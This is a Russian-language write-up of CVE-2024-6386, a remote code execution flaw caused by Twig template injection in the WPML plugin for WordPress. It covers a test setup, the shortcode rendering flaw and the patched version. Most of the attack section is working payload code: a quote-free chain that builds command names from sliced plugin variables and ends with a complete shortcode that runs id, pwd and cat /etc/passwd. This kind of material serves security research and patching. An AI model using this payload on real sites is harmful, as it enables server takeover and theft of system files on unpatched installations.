CVE-2024-6386
RCE via Twig SSTI in WPML
CVSS Score:9.9
Vector:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
PoC
github.com/argendo/CVE-2024-6386
Описание
SSTI в плагине WPML, предназначенном для создания и управления многоязычными сайтами на базе WordPress.
Патчи
В версии плагина 4.6.13 и выше уязвимость полностью закрыта.
Стенд
Деплоим тестовое приложение на WordPress и накатываем туда уязвимую версию плагина, например, 4.6.7.
Получаем одностраничник на WP:
Теория
У плагина есть возможность интеграции с WordPress Shortcodes.
Шорткоды нужны для выполнения различных макросов внутри постов WP, например, через них можно добавлять картинкам описание:
[caption]<wave.img>The Great Wave[/caption]
мы получим картинку с соответствующей подписьюВ случае плагина у нас есть возможность использования шорткода [wpml_language_switcher], он позволяет отображать селектор выбора языка на странице.
Если посмотреть исходники, а именно файл class-wpml-ls-public-api.php, то можно заметить, что функция render обрабатывает этот шорткод как Twig-шаблон:
Атака
SSTI
Раз функция обрабатывает входные данные как Twig-шаблон мы можем попробовать осуществить инъекцию шаблонов:
При рендере подобного поста наша инъекция обработается шаблонизатором и мы получим желаемый результат:
RCE
Несмотря на то, что мы добились SSTI, типичные инъекции для Twig-шаблонов, например, {{['id']|filter('system')}} здесь не применимы так, как WordPress кодирует любые кавычки в HTML.
Тем не менее мы можем обойти ограничение на использование кавычек через передачу в шаблон переменной.
Поскольку определить строковую переменную мы не сможем, так как для этого тоже нужны кавычки, будем "нарезать" нужные нам символы из того, что есть.
Для того, чтобы что-то "нарезать", нужно, чтобы было из чего нарезать, то есть какая-то переменная, которая отдаёт текст при обращении к ней.
В самом плагине есть несколько встроенных переменных, к которым мы можем обратиться из контекста, в котором выполняется наш шорткод:
{{ 1 }} используется просто как сепараторПри обращении к ним мы получим следующий результат:
Нас в данном случае интересуют только переменные languages и css_classes.
При этом, стоит отметить, что languages является массивом и при обращении к нему возвращает не строку, а объект, но об этом позже.
Из всего вышеперечисленного мы можем начать собирать наш словарь.
{% set s = css_classes|slice(6,1) %}
мы можем получить переменную s, равную строке 's'.
Для получения же буквы y нам потребуется обратиться к переменной languages, но поскольку она возвращает объект нам необходимо преобразовать его в строку при помощи фильтра join и только потом отрезать нужную нам букву.
То есть для получения y нужно сделать следующее:{% set y = languages|join|slice(4,1) %}
Формирование необходимого словаря для выполнения минимального списка команд ОС будет выглядеть так:
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}Далее нам остаётся лишь сформировать список интересующих нас команд конкатенацией наших переменных-букв:
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}Сам же RCE с учетом выше обозначенных переменных можно сделать избегая использования кавычек при помощи команды: {{[id]|map(system)|join}}
В результате исполнения которого мы получим:
Payload
Итоговый payload для выполнения команд id, pwd и cat /etc/passwd будет выглядеть так:
[wpml_language_switcher]
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}
[/wpml_language_switcher]Статья написана для: @iamargendo